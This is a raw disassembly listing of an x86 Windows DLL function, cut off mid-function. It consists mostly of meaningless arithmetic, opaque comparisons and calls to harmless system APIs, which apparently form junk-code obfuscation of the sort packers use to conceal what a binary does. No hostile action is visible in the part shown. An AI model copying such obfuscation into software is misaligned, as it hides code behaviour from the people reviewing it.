mov edx, dword [ebp - 0x19c]
xor edx, 0x15e
mov eax, dword [ebp - 0x19c]
add eax, 0x15e
xor edx, eax
mov ecx, dword [ebp - 0x19c]
imul ecx, dword [ebp - 0x1544]
mov eax, dword [ebp - 0x558]
sub eax, dword [ebp - 0x558]
add ecx, eax
imul edx, ecx
xor ecx, ecx
sub ecx, edx
mov edx, 2
shl edx, 0
mov word [ebp + edx - 0x114], cx
movzx eax, byte [ebp - 1]
movzx ecx, byte [ebp - 2]
add eax, ecx
mov byte [ebp - 1], al
mov edx, 0xffffab50
mov word [0x100a2110], dx
mov eax, dword [0x100a2c3c]
mov dword [ebp - 0x3c], eax
mov byte [0x100a203b], 0x88
mov cx, word [0x100a2128]
mov word [0x100a211c], cx
movzx edx, word [ebp - 8]
test edx, edx
jne 0x10050293
xor eax, eax
mov dword [ebp - 0x1054], 1
mov dword [ebp - 0x1050], eax
jmp 0x1005029e
xorps xmm0, xmm0
movlpd qword [ebp - 0x1054], xmm0
cmp dword [0x100a2128], 0
jne 0x100502bb
xor ecx, ecx
mov dword [ebp - 0x105c], 1
mov dword [ebp - 0x1058], ecx
jmp 0x100502c6
xorps xmm0, xmm0
movlpd qword [ebp - 0x105c], xmm0
mov esi, dword [ebp - 0x1054]
sub esi, dword [0x100a20f8]
mov edi, dword [ebp - 0x1050]
sbb edi, dword [0x100a20fc]
sub esi, dword [ebp - 0x105c]
sbb edi, dword [ebp - 0x1058]
mov edx, dword [0x100a20d0]
not edx
mov eax, dword [0x100a20d4]
not eax
mov ecx, dword [0x100a20f8]
not ecx
mov ebx, dword [0x100a20fc]
not ebx
push ebx
push ecx
push eax
push edx
call fcn.10073ef0
mov ecx, eax
mov ebx, edx
movzx edx, word [0x100a2124]
mov eax, dword [ebp - 0x38]
xor eax, edx
cdq
add ecx, eax
adc ebx, edx
add esi, ecx
adc edi, ebx
mov dword [0x100a2148], esi
mov dword [0x100a214c], edi
mov eax, 0x35
mov word [ebp - 0x11c], ax
xor ecx, ecx
mov word [ebp - 0x11a], cx
xor edx, edx
mov dword [0x100a2140], 0xb1050f09
mov dword [0x100a2144], edx
movsx eax, word [0x100a20c8]
test eax, eax
je 0x100503c6
mov ecx, dword [str.ProductName]
mov dword [ebp - 0x25c4], ecx
mov edx, dword [0x100868dc]
mov dword [ebp - 0x25c0], edx
mov eax, dword [0x100868e0]
mov dword [ebp - 0x25bc], eax
mov ecx, dword [0x100868e4]
mov dword [ebp - 0x25b8], ecx
mov edx, dword [0x100868e8]
mov dword [ebp - 0x25b4], edx
mov eax, dword [0x100868ec]
mov dword [ebp - 0x25b0], eax
lea ecx, [ebp - 0x25c4]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [0x100a20dc], eax
jmp 0x1005044f
xor edx, edx
mov dword [0x100a2130], 0x4f06
mov dword [0x100a2134], edx
movsx eax, byte [0x100a203b]
movsx ecx, word [0x100a20c8]
add eax, ecx
movsx edx, byte [0x100a203b]
sub edx, eax
mov byte [0x100a203b], dl
movsx eax, word [0x100a2110]
add eax, dword [0x100a2104]
movsx ecx, word [0x100a2110]
and ecx, eax
mov word [0x100a2110], cx
movzx eax, word [ebp - 0xc]
cdq
sub eax, dword [ebp - 0x54]
mov word [ebp - 0xc], ax
mov edx, dword [0x100a20dc]
shr edx, 7
xor eax, eax
mov dword [ebp - 0x64], edx
mov dword [ebp - 0x60], eax
mov ecx, dword [0x100a20d0]
add ecx, 0x49
mov edx, dword [0x100a20d4]
adc edx, 0
mov dword [0x100a2108], ecx
mov dword [0x100a210c], edx
movzx eax, word [ebp - 8]
cdq
add eax, dword [0x100a2140]
adc edx, dword [0x100a2144]
mov dword [ebp - 0x18ec], eax
mov dword [ebp - 0x18e8], edx
mov eax, dword [0x100a20f8]
cmp eax, dword [ebp - 0x18ec]
jne 0x10050754
mov ecx, dword [0x100a20fc]
cmp ecx, dword [ebp - 0x18e8]
jne 0x10050754
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x2b08], eax
sub edx, 0x3e22256f
mov dword [0x100a20dc], edx
movzx eax, byte [0x100a207a]
cdq
sub eax, 0x8de6ab51
mov word [0x100a20e0], ax
mov eax, dword [0x100a2104]
cdq
mov ecx, eax
mov eax, dword [ebp - 0x38]
cdq
xor eax, dword [0x100a20f8]
add ecx, eax
mov word [ebp - 8], cx
cmp dword [0x100a2104], 0
jne 0x100504e7
mov dword [ebp - 0x55c], 1
jmp 0x100504f1
mov dword [ebp - 0x55c], 0
mov edx, dword [ebp - 0x54]
or edx, dword [ebp - 0x50]
jne 0x1005050d
xor eax, eax
mov dword [ebp - 0x18f4], 1
mov dword [ebp - 0x18f0], eax
jmp 0x10050518
xorps xmm0, xmm0
movlpd qword [ebp - 0x18f4], xmm0
movzx eax, byte [0x100a207b]
not eax
sub eax, dword [ebp - 0x55c]
cdq
mov esi, eax
mov ecx, dword [ebp - 0x5c]
not ecx
mov edx, dword [ebp - 0x58]
not edx
mov eax, dword [0x100a20fc]
push eax
mov eax, dword [0x100a20f8]
push eax
push edx
push ecx
call fcn.10073ef0
add eax, dword [ebp - 0x18f4]
add esi, eax
mov dword [0x100a2128], esi
mov ecx, dword [0x100a2150]
mov edx, dword [0x100a2154]
mov eax, dword [ebp - 0x2c]
add eax, 0xd7d0
xor esi, esi
mov dword [ebp - 0x18fc], ecx
mov dword [ebp - 0x18f8], edx
mov dword [ebp - 0x1904], eax
mov dword [ebp - 0x1900], esi
mov ecx, dword [ebp - 0x18fc]
cmp ecx, dword [ebp - 0x1904]
jne 0x10050754
mov edx, dword [ebp - 0x18f8]
cmp edx, dword [ebp - 0x1900]
jne 0x10050754
cmp dword [0x100a20dc], 0
jne 0x100505bc
mov dword [ebp - 0x560], 1
jmp 0x100505c6
mov dword [ebp - 0x560], 0
movsx eax, word [ebp - 0x14]
add eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x560]
sub ecx, dword [ebp - 0x30]
add eax, ecx
xor edx, edx
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x20]
cdq
mov ecx, eax
mov edx, dword [0x100a20e8]
mov eax, dword [0x100a20ec]
mov dword [ebp - 0x2b0c], eax
add ecx, edx
mov eax, dword [ebp - 0x20]
cdq
sub eax, ecx
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x24]
shr ecx, 1
mov byte [ebp - 2], cl
mov edx, dword [0x100a20fc]
push edx
mov eax, dword [0x100a20f8]
push eax
mov ecx, dword [0x100a20fc]
push ecx
mov edx, dword [0x100a20f8]
push edx
call fcn.10073ef0
mov dword [0x100a20f8], eax
mov dword [0x100a20fc], edx
mov eax, dword [0x100a20e8]
mov ecx, dword [0x100a20ec]
mov dword [ebp - 0x190c], eax
mov dword [ebp - 0x1908], ecx
mov edx, dword [ebp - 0x190c]
or edx, dword [ebp - 0x1908]
jne 0x10050666
mov dword [ebp - 0x564], 1
jmp 0x10050670
mov dword [ebp - 0x564], 0
mov eax, dword [ebp - 0x564]
imul eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
sub ecx, dword [ebp - 0x1c]
not ecx
imul eax, ecx
mov edx, dword [0x100a2100]
not edx
add edx, dword [ebp - 0x24]
movzx ecx, byte [ebp - 2]
not ecx
add edx, ecx
add eax, edx
xor edx, edx
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], edx
jmp 0x1005034c
mov edx, dword [0x100a2c3c]
mov dword [0x100a20dc], edx
mov eax, dword [0x100a2140]
add eax, 0xea
mov word [0x100a20c8], ax
mov byte [ebp - 1], 8
movzx ecx, byte [0x100a207a]
shl ecx, 1
mov word [0x100a2138], cx
mov edx, 0x2f9e4
mov dword [0x100a20e8], 0x316a3b14
mov dword [0x100a20ec], edx
mov dword [ebp - 0xec], 0
mov dword [ebp - 0x148], 0
jmp 0x100507be
mov eax, dword [ebp - 0xec]
add eax, 1
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 1
jae 0x1005117b
mov ecx, dword [ebp - 0x28]
cmp ecx, dword [0x100a20e4]
jae 0x100507e2
mov dword [ebp - 0x570], 1
jmp 0x100507ec
mov dword [ebp - 0x570], 0
cmp dword [ebp - 0x30], 0
je 0x10050807
mov edx, dword [ebp - 0x18]
not edx
test edx, edx
je 0x10050807
mov dword [ebp - 0x574], 1
jmp 0x10050811
mov dword [ebp - 0x574], 0
mov eax, dword [ebp - 0x570]
cmp eax, dword [ebp - 0x574]
jne 0x10050833
xor ecx, ecx
mov dword [ebp - 0x1064], 1
mov dword [ebp - 0x1060], ecx
jmp 0x1005083e
xorps xmm0, xmm0
movlpd qword [ebp - 0x1064], xmm0
mov edx, dword [0x100a2108]
mov eax, dword [0x100a210c]
add edx, dword [ebp - 0x1064]
adc eax, dword [ebp - 0x1060]
mov dword [ebp - 0x191c], edx
mov dword [ebp - 0x1918], eax
mov ecx, dword [ebp - 0x191c]
or ecx, dword [ebp - 0x1918]
je 0x1005088a
movzx edx, word [0x100a211c]
push edx
call dword [sym.imp.USER32.dll_IsZoomed]
xor ecx, ecx
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], ecx
jmp 0x100509bf
movzx eax, byte [ebp - 1]
cdq
mov dword [ebp - 0x1924], eax
mov dword [ebp - 0x1920], edx
mov edx, dword [0x100a20fc]
cmp edx, dword [ebp - 0x1920]
jl 0x100509bf
jg 0x100508c0
mov eax, dword [0x100a20f8]
cmp eax, dword [ebp - 0x1924]
jb 0x100509bf
movzx eax, word [0x100a2118]
cdq
mov ecx, dword [0x100a2108]
mov esi, dword [0x100a210c]
push esi
push ecx
push edx
push eax
call fcn.10073ef0
mov ecx, eax
movzx eax, byte [ebp - 2]
cdq
add eax, dword [0x100a20f8]
sub ecx, eax
mov dword [ebp - 0x3c], ecx
movzx edx, word [ebp - 0xc]
imul edx, dword [0x100a2114]
test edx, edx
jne 0x1005090a
mov dword [ebp - 0x578], 1
jmp 0x10050914
mov dword [ebp - 0x578], 0
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x2c]
imul eax, dword [ebp - 0x578]
not eax
xor ecx, ecx
mov dword [0x100a20f8], eax
mov dword [0x100a20fc], ecx
mov edx, dword [0x100a2c3c]
mov dword [ebp - 0x24], edx
movzx eax, byte [0x100a207a]
cdq
mov ecx, eax
add ecx, dword [0x100a2140]
movzx eax, word [0x100a2124]
xor eax, 0xd9
cdq
sub ecx, eax
not ecx
mov edx, dword [ebp - 0x38]
not edx
sub edx, dword [0x100a20d8]
mov eax, dword [0x100a2100]
mov esi, dword [0x100a2148]
mov edi, dword [0x100a214c]
mov dword [ebp - 0x2b10], edi
sub esi, eax
add edx, esi
add ecx, edx
mov word [0x100a20f0], cx
mov ecx, dword [0x100a20e8]
mov edx, dword [0x100a20ec]
mov dword [ebp - 0x192c], ecx
mov dword [ebp - 0x1928], edx
mov eax, dword [ebp - 0x192c]
or eax, dword [ebp - 0x1928]
jne 0x100509b5
mov byte [ebp - 0x6a], 1
jmp 0x100509b9
mov byte [ebp - 0x6a], 0
mov cl, byte [ebp - 0x6a]
mov byte [ebp - 3], cl
mov byte [str.y4The_server_is_requ], 0x30
movsx edx, byte [str.y4The_server_is_requ]
add edx, 0x1410adbb
mov eax, dword [ebp - 0x1c]
sub eax, edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x48]
add ecx, 0x6d
adc edx, 0
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x48], edx
movzx eax, byte [0x100a207b]
imul eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x24]
sub ecx, eax
mov dword [ebp - 0x24], ecx
movzx edx, byte [ebp - 3]
test edx, edx
je 0x10050a1c
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x50]
mov dword [ebp - 0x106c], eax
mov dword [ebp - 0x1068], ecx
jmp 0x10050a33
mov edx, dword [0x100a2130]
mov eax, dword [0x100a2134]
mov dword [ebp - 0x106c], edx
mov dword [ebp - 0x1068], eax
mov ecx, dword [ebp - 0x106c]
mov dword [ebp - 0x24], ecx
mov edx, dword [0x100a20dc]
add edx, 0x4f5839c6
mov word [0x100a20e0], dx
movzx eax, byte [0x100a207b]
sub eax, 0x1240f9fa
mov word [0x100a20c8], ax
movsx ecx, byte [0x100a203b]
movsx edx, byte [str.y4The_server_is_requ]
movzx eax, word [ebp - 8]
add edx, eax
cmp ecx, edx
jne 0x10050e88
movsx ecx, byte [0x100a203b]
movsx edx, byte [0x100a203b]
cmp ecx, edx
jl 0x10050a9b
mov dword [ebp - 0x57c], 1
jmp 0x10050aa5
mov dword [ebp - 0x57c], 0
movsx eax, byte [0x100a203b]
cmp eax, 0x21
jl 0x10050abd
mov dword [ebp - 0x580], 1
jmp 0x10050ac7
mov dword [ebp - 0x580], 0
mov ecx, dword [ebp - 0x57c]
cmp ecx, dword [ebp - 0x580]
jl 0x10050ae4
mov edx, dword [ebp - 0x34]
push edx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov dword [ebp - 0x28], eax
jmp 0x10050b2b
movsx eax, word [0x100a2110]
test eax, eax
je 0x10050b2b
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x2b14], eax
add ecx, edx
mov edx, dword [ebp - 0x2c]
sub edx, ecx
mov dword [ebp - 0x2c], edx
mov eax, dword [0x100a20dc]
and eax, 0x3f825133
mov word [0x100a2138], ax
movzx eax, word [0x100a2138]
sub eax, 0xe6
cdq
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], edx
mov dword [ebp - 0x1a0], 0
jmp 0x10050b46
mov ecx, dword [ebp - 0x1a0]
add ecx, 1
mov dword [ebp - 0x1a0], ecx
cmp dword [ebp - 0x1a0], 0x303
jge 0x10050c95
mov dword [ebp - 0x1a4], 0
jmp 0x10050b71
mov edx, dword [ebp - 0x1a4]
add edx, 2
mov dword [ebp - 0x1a4], edx
cmp dword [ebp - 0x1a4], 0x1c9
jge 0x10050c7e
movzx eax, word [0x100a2118]
cmp eax, dword [0x100a2100]
je 0x10050b9c
mov dword [ebp - 0x584], 1
jmp 0x10050ba6
mov dword [ebp - 0x584], 0
movzx ecx, word [0x100a2118]
cmp ecx, 0x48
je 0x10050bbe
mov dword [ebp - 0x588], 1
jmp 0x10050bc8
mov dword [ebp - 0x588], 0
mov edx, dword [ebp - 0x584]
cmp edx, dword [ebp - 0x588]
jl 0x10050c0b
mov eax, dword [str.x_europa]
mov dword [ebp - 0x2538], eax
mov ecx, dword [0x100868f4]
mov dword [ebp - 0x2534], ecx
mov dl, byte [0x100868f8]
mov byte [ebp - 0x2530], dl
lea eax, [ebp - 0x2538]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov byte [ebp - 1], al
jmp 0x10050c70
mov ecx, dword [0x100a2148]
mov edx, dword [0x100a214c]
mov dword [ebp - 0x1934], ecx
mov dword [ebp - 0x1930], edx
mov eax, dword [ebp - 0x1934]
or eax, dword [ebp - 0x1930]
je 0x10050c70
mov ecx, dword [0x100a2c3c]
mov dword [0x100a2104], ecx
mov edx, dword [0x100a2c3c]
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x2c]
add eax, 0x8f8a
xor ecx, ecx
mov edx, dword [0x100a2148]
mov esi, dword [0x100a214c]
push ecx
push eax
push esi
push edx
call fcn.10073ef0
mov dword [0x100a2148], eax
mov dword [0x100a214c], edx
mov eax, dword [ebp - 0x28]
add eax, 1
mov dword [ebp - 0x28], eax
jmp 0x10050b62
mov ecx, dword [ebp - 0x64]
add ecx, 1
mov edx, dword [ebp - 0x60]
adc edx, 0
mov dword [ebp - 0x64], ecx
mov dword [ebp - 0x60], edx
jmp 0x10050b37
movzx eax, word [0x100a211c]
mov ecx, dword [ebp - 0x18]
add ecx, 0x79
cmp eax, ecx
jne 0x10050e88
movzx edx, word [0x100a20e0]
cmp edx, 0x879c80e6
je 0x10050ccd
xor eax, eax
mov dword [ebp - 0x1074], 1
mov dword [ebp - 0x1070], eax
jmp 0x10050cd8
xorps xmm0, xmm0
movlpd qword [ebp - 0x1074], xmm0
mov ecx, dword [ebp - 0x1074]
cmp ecx, dword [ebp - 0x5c]
jne 0x10050cee
mov edx, dword [ebp - 0x1070]
cmp edx, dword [ebp - 0x58]
je 0x10050cfa
mov dword [ebp - 0x590], 1
jmp 0x10050d04
mov dword [ebp - 0x590], 0
movzx eax, byte [ebp - 1]
cdq
mov esi, eax
mov edi, edx
movzx eax, byte [ebp - 3]
cdq
push edx
push eax
mov eax, dword [ebp - 0x60]
push eax
mov ecx, dword [ebp - 0x64]
push ecx
call fcn.10073ef0
mov dword [ebp - 0x193c], esi
mov dword [ebp - 0x1938], edi
mov dword [ebp - 0x1944], eax
mov dword [ebp - 0x1940], edx
mov edx, dword [ebp - 0x193c]
cmp edx, dword [ebp - 0x1944]
jne 0x10050d61
mov eax, dword [ebp - 0x1938]
cmp eax, dword [ebp - 0x1940]
jne 0x10050d61
mov dword [ebp - 0x58c], 1
jmp 0x10050d6b
mov dword [ebp - 0x58c], 0
mov ecx, dword [ebp - 0x58c]
not ecx
cmp dword [ebp - 0x590], ecx
je 0x10050d87
mov dword [ebp - 0x594], 1
jmp 0x10050d91
mov dword [ebp - 0x594], 0
mov edx, dword [ebp - 0x594]
not edx
test edx, edx
je 0x10050dc7
mov ecx, 9
mov esi, str.PRT_protocol_is_su
lea edi, [ebp - 0x2ba0]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [ebp - 0x2ba0]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cdq
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], edx
jmp 0x10050e1c
mov ecx, dword [ebp - 0x5c]
sub ecx, dword [ebp - 0x1c]
mov byte [0x100a2027], cl
mov edx, 4
imul eax, edx, 0x4b
mov cx, word [eax + 0x101e2100]
mov word [ebp - 0xc], cx
mov edx, dword [ebp - 0x24]
add edx, 1
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x48]
mov dword [ebp - 0x2b18], edx
sub eax, ecx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x54]
add eax, 0xd9
mov ecx, dword [ebp - 0x50]
adc ecx, 0
mov dword [0x100a2148], eax
mov dword [0x100a214c], ecx
jmp 0x100509bf
mov dword [0x100a2104], 0xdbbe
mov edx, dword [0x100a20f4]
push edx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov dword [0x100a20dc], eax
mov eax, dword [ebp - 0x18]
add eax, 0xdbbe
cmp dword [0x100a2104], eax
jne 0x10050f19
movzx eax, word [ebp - 8]
add eax, 0x4400975a
cdq
mov dword [ebp - 0x194c], eax
mov dword [ebp - 0x1948], edx
mov ecx, dword [0x100a20d0]
cmp ecx, dword [ebp - 0x194c]
jne 0x10050f19
mov edx, dword [0x100a20d4]
cmp edx, dword [ebp - 0x1948]
jne 0x10050f19
jmp 0x10050f19
mov dword [0x100a2104], 0xdbbe
movzx eax, byte [str.HeapSize]
mov ecx, 4
imul edx, ecx, 0x642c
mov dword [edx + 0x10143898], eax
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x28]
lea edx, [ecx + eax + 0x9629]
xor eax, eax
mov dword [ebp - 0x5c], edx
mov dword [ebp - 0x58], eax
mov ecx, dword [ebp - 0x1c]
shr ecx, 4
mov dword [0x100a2120], ecx
movsx edx, word [0x100a20f0]
movsx eax, word [ebp - 0x14]
imul edx, eax
not edx
mov byte [ebp - 2], dl
movsx eax, byte [0x100a203b]
cdq
xor eax, 0xd63afb61
mov dword [0x100a20e4], eax
mov dword [0x100a2114], 1
mov dword [ebp - 0x20], 0x112f2c47
mov ecx, dword [ebp - 0x28]
xor edx, edx
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x58], edx
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x40]
push 0
push 0x15ae
push ecx
push eax
call fcn.10073ef0
mov ecx, dword [ebp - 0x5c]
sub ecx, eax
mov eax, dword [ebp - 0x58]
sbb eax, edx
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x58], eax
mov eax, dword [0x100a2128]
cdq
mov ecx, dword [ebp - 0x64]
sub ecx, eax
mov eax, dword [ebp - 0x60]
sbb eax, edx
mov edx, dword [ebp - 0x64]
sub edx, ecx
mov ecx, dword [ebp - 0x60]
sbb ecx, eax
mov dword [ebp - 0x64], edx
mov dword [ebp - 0x60], ecx
mov edx, dword [0x100a2114]
mov dword [ebp - 0x598], edx
cmp dword [ebp - 0x598], 0
je 0x10051004
cmp dword [ebp - 0x598], 1
je 0x1005104a
jmp 0x10051091
movsx eax, word [0x100a20f0]
cdq
mov ecx, eax
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x25e4], eax
xor ecx, edx
movsx eax, word [0x100a20f0]
cdq
or eax, ecx
mov word [0x100a20f0], ax
mov ecx, dword [ebp - 0x30]
sub ecx, 1
mov dword [ebp - 0x30], ecx
movsx edx, byte [str.y4The_server_is_requ]
movzx eax, word [ebp - 8]
add edx, eax
mov byte [str.y4The_server_is_requ], dl
jmp 0x10051091
mov ecx, 1
imul edx, ecx, 0x754
movsx eax, byte [edx + 0x10141e10]
mov ecx, dword [0x100a20f4]
sub ecx, eax
mov dword [0x100a20f4], ecx
movzx edx, byte [ebp - 1]
add edx, dword [ebp - 0x2c]
mov byte [ebp - 1], dl
movzx eax, word [ebp - 0x10]
sar eax, 2
mov byte [ebp - 2], al
movzx eax, word [0x100a20e0]
sub eax, 0x24a1
cdq
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], edx
mov ecx, dword [ebp - 0xec]
movzx edx, word [ebp + ecx*2 - 0x11c]
mov dword [ebp - 0x148], edx
movzx eax, byte [str.HeapSize]
imul eax, dword [0x100a20e4]
mov byte [str.HeapSize], al
mov ecx, dword [0x100a2104]
add ecx, 0x67ff
mov byte [str.y4The_server_is_requ], cl
mov ecx, dword [0x100a20f8]
sub ecx, 0x9dc92448
movzx eax, word [ebp - 0xc]
cdq
xor eax, ecx
mov word [ebp - 0xc], ax
cmp dword [0x100a2104], 0
je 0x100510f5
mov edx, dword [ebp - 0x3c]
mov dword [ebp - 0x59c], edx
jmp 0x100510ff
movzx eax, word [ebp - 0xc]
mov dword [ebp - 0x59c], eax
mov ecx, dword [ebp - 0x59c]
mov dword [0x100a2120], ecx
movzx edx, byte [ebp - 3]
add edx, 0xd95a
mov byte [ebp - 1], dl
mov eax, dword [ebp - 0x148]
sub eax, 3
mov dword [ebp - 0x148], eax
movsx eax, word [0x100a20c8]
cdq
add eax, 0xdbc74f13
mov dword [ebp - 0x1c], eax
mov ecx, dword [0x100a20d8]
shl ecx, 7
mov word [0x100a2124], cx
mov edx, dword [ebp - 0x30]
sub edx, 0xde41
mov byte [0x100a203b], dl
mov eax, dword [ebp - 0x20]
sub eax, 0x2f300d4e
mov byte [ebp - 1], al
mov ecx, dword [ebp - 0xec]
mov dx, word [ebp - 0x148]
mov word [ebp + ecx*2 - 0x11c], dx
jmp 0x100507af
mov dword [0x100a20f4], 0x97220f38
mov eax, dword [0x100a20dc]
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
movzx ecx, word [ebp - 8]
sub ecx, 0x68ddf0c8
cmp dword [0x100a20f4], ecx
jne 0x100512b6
mov edx, dword [0x100a2130]
mov eax, dword [0x100a2134]
mov ecx, dword [ebp - 0x2c]
xor esi, esi
add ecx, 0x91dbdeea
adc esi, 0x30ac4
mov dword [ebp - 0x1954], edx
mov dword [ebp - 0x1950], eax
mov dword [ebp - 0x195c], ecx
mov dword [ebp - 0x1958], esi
mov edx, dword [ebp - 0x1954]
cmp edx, dword [ebp - 0x195c]
jne 0x100512b6
mov eax, dword [ebp - 0x1950]
cmp eax, dword [ebp - 0x1958]
jne 0x100512b6
movzx ecx, byte [ebp - 3]
add ecx, dword [ebp - 0x1c]
mov byte [ebp - 3], cl
mov dx, word [0x100a2c3c]
mov word [0x100a211c], dx
movsx eax, word [0x100a20c8]
sub eax, dword [ebp - 0x2c]
mov word [0x100a20c8], ax
jmp 0x100512b6
mov dword [0x100a20f4], 0x97220f38
movzx eax, byte [0x100a207b]
cdq
push edx
push eax
mov ecx, dword [ebp - 0x60]
push ecx
mov edx, dword [ebp - 0x64]
push edx
call fcn.10073ef0
mov ecx, dword [ebp - 0x64]
sub ecx, eax
mov eax, dword [ebp - 0x60]
sbb eax, edx
mov dword [ebp - 0x64], ecx
mov dword [ebp - 0x60], eax
movsx ecx, word [0x100a2110]
movzx edx, word [0x100a2138]
imul ecx, edx
movsx eax, word [0x100a2110]
sub eax, ecx
mov word [0x100a2110], ax
mov ecx, dword [0x100a2150]
mov edx, dword [0x100a2154]
add ecx, 0xc874
adc edx, 0
mov dword [0x100a20d0], ecx
mov dword [0x100a20d4], edx
mov eax, dword [0x100a20e8]
mov ecx, dword [0x100a20ec]
mov dword [0x100a2150], eax
mov dword [0x100a2154], ecx
mov edx, 0xded0
mov word [0x100a2138], dx
mov eax, dword [0x100a2150]
mov ecx, dword [0x100a2154]
not eax
not ecx
push 0
push 0xa2
push ecx
push eax
call fcn.10073ef0
mov ecx, dword [ebp - 0x2c]
not ecx
xor esi, esi
push esi
push ecx
push edx
push eax
call fcn.10073ef0
mov byte [ebp - 1], al
xor edx, edx
mov dword [ebp - 0x44], 8
mov dword [ebp - 0x40], edx
mov eax, 2
shl eax, 0
xor ecx, ecx
mov word [ebp + eax - 0x11c], cx
mov dword [ebp - 0x1a8], 0x373
jmp 0x100513b3
mov edx, dword [ebp - 0x1a8]
sub edx, 1
mov dword [ebp - 0x1a8], edx
cmp dword [ebp - 0x1a8], 0
jle 0x10051652
call dword [sym.imp.USER32.dll_GetFocus]
mov dword [ebp - 0x5a0], eax
cmp dword [ebp - 0x5a0], 0
je 0x100513e8
mov eax, dword [ebp - 0x5a0]
push eax
call dword [sym.imp.USER32.dll_GetWindowDC]
mov dword [ebp - 0x25ec], eax
cmp dword [ebp - 0x30], 0
je 0x100513fa
mov dword [ebp - 0x5a4], 1
jmp 0x10051404
mov dword [ebp - 0x5a4], 0
cmp dword [ebp - 0x30], 0x58
je 0x10051416
mov dword [ebp - 0x5a8], 1
jmp 0x10051420
mov dword [ebp - 0x5a8], 0
mov ecx, dword [ebp - 0x5a4]
cmp ecx, dword [ebp - 0x5a8]
jl 0x10051480
mov edx, dword [str.EventData]
mov dword [ebp - 0x25ac], edx
mov eax, dword [0x10086928]
mov dword [ebp - 0x25a8], eax
mov ecx, dword [0x1008692c]
mov dword [ebp - 0x25a4], ecx
mov edx, dword [0x10086930]
mov dword [ebp - 0x25a0], edx
mov eax, dword [0x10086934]
mov dword [ebp - 0x259c], eax
lea ecx, [ebp - 0x25ac]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov word [0x100a2138], ax
jmp 0x1005163b
cmp dword [0x100a2104], 0
jne 0x10051495
mov dword [ebp - 0x5ac], 1
jmp 0x1005149f
mov dword [ebp - 0x5ac], 0
movzx edx, byte [ebp - 3]
cmp dword [ebp - 0x5ac], edx
jge 0x100514b7
mov dword [ebp - 0x5b0], 1
jmp 0x100514c1
mov dword [ebp - 0x5b0], 0
cmp dword [ebp - 0x5b0], 0x874d
jne 0x1005151c
movzx eax, byte [ebp - 2]
imul ecx, eax, 0x37
mov word [ebp - 8], cx
mov dword [ebp - 0x18], 0x884397e5
mov edx, dword [0x100a20e8]
mov eax, dword [0x100a20ec]
mov dword [ebp - 0x25f0], eax
xor edx, 0xc5882c7f
mov dword [ebp - 0x1c], edx
mov ecx, dword [0x100a20d0]
add ecx, 0x748b3429
mov edx, dword [0x100a20d4]
adc edx, 0x97600
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x40], edx
jmp 0x1005163b
mov eax, dword [ebp - 0x20]
not eax
movsx ecx, word [ebp - 0x14]
cmp eax, ecx
je 0x10051535
mov dword [ebp - 0x5b4], 1
jmp 0x1005153f
mov dword [ebp - 0x5b4], 0
mov edx, dword [ebp - 0x5b4]
cmp edx, dword [0x100a2128]
jl 0x100515b9
mov eax, dword [ebp - 0x38]
mov byte [0x100a207a], al
movzx ecx, word [ebp - 0x10]
sub ecx, 0xa7f6
mov dword [ebp - 0x1c], ecx
mov eax, dword [0x100a2128]
cdq
mov ecx, dword [0x100a2148]
mov esi, dword [0x100a214c]
push edx
push eax
push esi
push ecx
call fcn.10073ef0
mov dword [0x100a2148], eax
mov dword [0x100a214c], edx
mov edx, 8
imul eax, edx, 0x5a4c
mov ecx, dword [ebp - 0x44]
mov edx, dword [ebp - 0x40]
sub ecx, dword [eax + 0x1016eca8]
sbb edx, dword [eax + 0x1016ecac]
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x28]
sub eax, 1
mov dword [ebp - 0x28], eax
jmp 0x1005163b
mov ecx, dword [0x100a2148]
mov edx, dword [0x100a214c]
mov dword [ebp - 0x1964], ecx
mov dword [ebp - 0x1960], edx
mov eax, dword [ebp - 0x1964]
or eax, dword [ebp - 0x1960]
je 0x1005163b
movzx ecx, word [ebp - 0xc]
movzx edx, word [ebp - 0xc]
sub ecx, edx
mov word [ebp - 0xc], cx
mov eax, dword [ebp - 0x34]
shl eax, 7
cdq
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], edx
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
add eax, dword [ebp - 0x54]
